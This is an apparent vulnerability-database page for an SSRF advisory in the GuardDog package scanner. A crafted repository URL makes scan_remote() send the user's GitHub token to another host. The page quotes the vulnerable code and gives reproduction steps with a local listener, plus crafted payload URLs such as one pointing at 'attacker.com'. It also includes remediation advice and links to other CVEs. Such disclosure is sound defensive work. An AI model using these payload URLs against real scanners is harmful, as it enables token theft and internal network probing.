Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.
Description
ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:
githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)Because this logic does not parse or validate the hostname, a crafted URL such as:
http://github@127.0.0.1:18081/owner/repois transformed into:
http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txtRequests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.
Reproduction summary
- Start an HTTP listener on
127.0.0.1:18081that logs the request path andAuthorizationheader. - Set
GIT_USERNAME=aliceandGH_TOKEN=supersecret. - Call
PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt"). - Observe a request to
/owner/repo/main/requirements.txtwithAuthorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.
Key code paths
guarddog/scanners/scanner.py:361-365
Practical impact
This can expose repository-scanning infrastructure to:
- theft of the GitHub PAT configured in
GH_TOKEN - SSRF to internal or localhost services reachable by the scanner
- attacker-controlled dependency file content returned by the malicious endpoint
Prior public disclosure check
As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.
Suggested fix
Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.
AnalysisAI
Server-side request forgery (SSRF) in GuardDog 1.0.0 through 2.9.0 allows remote attackers to exfiltrate GitHub personal access tokens and probe internal networks via malicious repository URLs. The vulnerability stems from blind string replacement in ProjectScanner.scan_remote() that fails to validate hostnames before appending authentication credentials. No vendor-released patch identified at time of analysis. Publicly available exploit code exists via GitHub advisory reproduction steps. CVSS 8.2 (High) with network vector and no authentication required.
Technical ContextAI
GuardDog is a Python security scanner for PyPI and npm packages (pkg:pip/guarddog). The vulnerability exists in ProjectScanner.scan_remote() at guarddog/scanners/scanner.py lines 361-365. The method performs a naive string replacement (url.replace('github', 'raw.githubusercontent')) to convert GitHub repository URLs to raw content URLs without parsing or validating the hostname component. This violates the principle of treating URLs as structured data, classified as CWE-918 (Server-Side Request Forgery). The Python requests library correctly interprets URL components, so a crafted URL like 'http://github@attacker.com' has 'github' as a username in the userinfo component, not part of the hostname. After string replacement, the request targets the attacker-controlled host while carrying GitHub credentials via HTTP Basic Auth. The vulnerability affects all programmatic callers of scan_remote() between versions 1.0.0 and 2.9.0, with CPE pkg:pip/guarddog covering the affected package.
RemediationAI
No vendor-released patch identified at time of analysis (fix version listed as None for vulnerable range 1.0.0-2.9.0). Users must implement immediate compensating controls: (1) Restrict scan_remote() to only scan repositories from a predefined allowlist of trusted GitHub URLs, validating that parsed hostname equals 'github.com' before passing to GuardDog. (2) Remove or rotate any GitHub personal access tokens (GH_TOKEN) that may have been exposed to untrusted scanning targets; review GitHub audit logs for unauthorized access using compromised tokens. (3) Implement network egress filtering to block outbound HTTP/HTTPS from GuardDog scanner processes to non-GitHub IP ranges, preventing SSRF to internal services - note this may break legitimate functionality if GuardDog needs to scan self-hosted Git instances. (4) For programmatic integrations, fork the GuardDog repository and apply the suggested fix from the advisory: parse input URLs using urllib.parse, enforce hostname == 'github.com', validate path structure matches owner/repo pattern, construct raw.githubusercontent.com URLs from validated components rather than string replacement, and implement strict hostname validation before attaching authentication headers. Monitor the vendor advisory at https://github.com/DataDog/guarddog/security/advisories/GHSA-587r-mc96-6f2p for patch availability. Each workaround has trade-offs: URL allowlisting prevents scanning new repositories without manual approval; egress filtering may block legitimate use cases; forking requires maintaining a custom build.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-32535
GHSA-587r-mc96-6f2p